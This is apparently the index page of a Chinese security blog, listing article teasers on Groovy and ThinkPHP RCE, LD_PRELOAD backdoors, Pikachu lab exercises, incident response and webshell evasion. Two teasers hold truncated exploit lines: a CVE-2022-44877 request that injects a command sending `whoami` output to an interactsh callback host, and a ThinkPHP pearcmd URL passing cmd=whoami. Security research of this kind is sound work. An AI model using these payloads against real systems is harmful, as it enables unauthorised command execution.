简述Groovy是Apache 旗下的一种基于JVM的面向对象编程语言，既可以用于面向对象编程，也可以用作纯粹的脚本语言。在语言的设计上它吸纳了Python、Ruby 和 Smalltalk 语言的优...
05月30日53 views评论java安全
rce
Java安全-Groovy
05月30日53 views评论java安全
rce
05月30日53 views评论java安全
rce
浪潮ClusterEngineV4.0 远程命令执行漏洞
胜利和败北都要品尝，经历过四处流浪的辛酸，痛苦和悲伤的回忆，这样才能独当一面，就算痛哭流涕也没关系！漏洞描述浪潮服务器群集管理系统存在危险字符未过滤，导致远程命令执行漏洞影响 浪潮Clust...
05月29日71 views评论e
远程命令执行漏洞
通过切割环境变量绕过限制实现命令执行
如何使用WhoAmIMailBot隐藏你的电子邮箱地址
关于WhoAmIMailBot WhoAmIMailBot是一款针对电子邮件服务的安全工具，该工具可以帮助广大研究人员通过自定义配置来隐藏自己的真实电子邮箱地址。该工具受到了Blur项目的启发，而该项...
05月02日65 views评论id
电子邮件
LD_PRELOAD 后门 | Linux 后门系列
LD_PRELOAD 都快被写烂了，基本都是绕过 disable_functions ，之后分析得也比较完整，比较复杂 其实知识点也就是一个加载顺序的问题，之前咱们已经针对PATH的加载路径...
04月02日66 views评论puts
whoami
Pikachu靶场-RCE
作者：儒道易行 5.RCE 1.RCE(remote commandcode execute)概述 RCE(remote command/code execute)概述 RCE漏洞，可以让攻击者直接向...
03月12日38 viewsPikachu靶场-RCE已关闭评论rce
SecIN安全技术社区
应急响应--事件溯源
应急响应--事件溯源攻击者对痕迹的处理攻击痕迹混淆：向/var/spool/cron/root 这个持久化的文件里面写入了大量的垃圾数据（好处是不修改创建时间，仅改变了修改时间）###清空历史信息hi...
02月25日55 views评论path
root
Control Web Panel Linux 虚拟主机控制面板 RCE CVE-2022-44877
POC:POST /login/index.php?login=$(ping${IFS}-nc${IFS}2${IFS}`whoami`.{{interactsh-url}}) HTTP/1.1Hos...
01月28日142 views评论rce
whoami
PHP原生类在安全方面的利用总结
01前言最近打了一个比赛遇到了以new a(b)这样的考点,结合以前了解的知识,所以总结一下几种类似形式的解题技巧。这里主要以下三种形式的代码eval("echo new b);...
01月03日安全文章87 views评论php
xss
Pikachu靶场-RCE
5.RCE1.RCE(remote commandcode execute)概述RCE(remote command/code execute)概述RCE漏洞，可以让攻击者直接向后台服务器远程注入操作...
12月30日29 views评论rce
whoami
thinkphp RCE
/index.php?s=index/index/index/think_lang/../../extend/pearcmd/pearcmd/index&cmd=whoami/index.ph...
12月27日37 views评论rce
thinkphp
干货 | 实战分享几种Bypass成功的webshell免杀方式（建议收藏）
0x01 php的免杀传统的php免杀不用多说了，无非就是各种变形和外部参数获取，对于一些先进的waf和防火墙来说，不论如何解析最终都会到达命令执行的地方，但是如果语法报错的话，就可能导致解析失败了，...
12月15日158 views评论bypass
命令执行
5